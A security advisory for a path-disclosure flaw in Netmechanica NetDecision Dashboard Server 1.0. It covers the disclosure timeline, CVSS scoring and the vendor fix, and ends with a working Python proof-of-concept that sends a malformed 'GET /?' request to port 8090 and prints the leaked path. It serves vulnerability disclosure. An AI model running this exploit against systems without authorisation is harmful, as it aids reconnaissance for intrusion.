##############################################################################
#
# Title : Netmechanica NetDecision Dashboard Server Information Disclosure
# Vulnerability
# Author : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor : http://www.netmechanica.com
# Advisory : http://secpod.org/blog/?p=478
# http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_Dashboard_Server_Info_Disc_Vuln.txt
# http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_Dashboard_Server_Info_Disc_PoC.py
# Software : Netmechanica NetDecision Dashboard Server version 1.0
# Date : 05/12/2011
#
###############################################################################
SecPod ID: 1038 05/12/2011 Issue Discovered
21/02/2012 Vendor Notified
22/02/2012 Vendor Acknowledge
24/02/2012 Issue Resolved
Class: Information Disclosure Severity: Medium
Overview:
---------
Netmechanica NetDecision 4.5.1 Dashboard Server version 1.0 is prone to
information disclosure vulnerability.
Technical Description:
----------------------
The vulnerability is caused due to improper validation of malicious HTTP
request to Dashboard server appended with '?' character, which discloses the
Dashboard server's web script physical path.
Impact:
--------
Successful exploitation could allow an attacker to cause disclosure of
sensitive information.
Affected Software:
------------------
Netmechanica NetDecision 4.5.1 (full package) containing Dashboard Server
version 1.0
Tested on:
-----------
Netmechanica NetDecision 4.5.1 (full package) containing Dashboard Server
version 1.0 on Windows XP SP3 & Win XP2. Older versions might be affected.
References:
-----------
http://secpod.org/blog/?p=478
http://www.netmechanica.com/downloads
http://www.netmechanica.com/news/?news_id=26
http://www.netmechanica.com/netdecision_dashboard
Proof of Concept:
----------------
http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_Dashboard_Server_Info_Disc_PoC.py
Vendor URL:
----------------
http://www.netmechanica.com
http://www.netmechanica.com/news/?news_id=26
Solution:
----------
Upgrade to NetDecision 4.6.1
Risk Factor:
-------------
CVSS Score Report:
ACCESS_VECTOR = NETWORK
ACCESS_COMPLEXITY = LOW
AUTHENTICATION = NOT_REQUIRED
CONFIDENTIALITY_IMPACT = PARTIAL
INTEGRITY_IMPACT = NONE
AVAILABILITY_IMPACT = NONE
EXPLOITABILITY = PROOF_OF_CONCEPT
REMEDIATION_LEVEL = UNAVAILABLE
REPORT_CONFIDENCE = CONFIRMED
CVSS Base Score = 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
Risk factor = Medium
Credits:
--------
Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this
vulnerability.
#!/usr/bin/python
##############################################################################
#
# Title : Netmechanica NetDecision Dashboard Server Information Disclosure
# Vulnerability
# Author : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor : http://www.netmechanica.com
# Advisory : http://secpod.org/blog/?p=478
# http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_Dashboard_Server_Info_Disc_Vuln.txt
# http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_Dashboard_Server_Info_Disc_PoC.py
# Software : Netmechanica NetDecision Dashboard Server version 1.0
# Date : 05/12/2011
#
###############################################################################
import socket,sys,time
if len(sys.argv) < 2:
print "\t[-] Usage: python SecPod_Netmechanica_NetDecision_Dashboard_Server_Info_Disc_PoC.py target_ip"
print "\t[-] Example : python SecPod_Netmechanica_NetDecision_Dashboard_Server_Info_Disc_PoC.py 127.0.0.1"
print "\t[-] Exiting..."
sys.exit(0)
port = 8090
target = sys.argv[1]
try:
socket.inet_aton(target)
except socket.error:
print "Invalid IP address found ..."
sys.exit(1)
try:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((target,port))
time.sleep(1)
except:
print "socket() failed"
sys.exit(1)
exploit = "GET " + "/?" + "HTTP/1.0 "+ "\r\n\r\n"
print "HTTP GET request with '?' filename triggers the vulnerability"
data = exploit
sock.sendto(data, (target, port))
res = sock.recv(1024)
sock.close()
if res.find('file: ') != -1 :
print "[+] Full Path of the web script directory of DashBoard Server is ....\r\n"
print res.split('file: ')[1]
else:
print "[+] Did not get the source path ..."
sys.exit(1)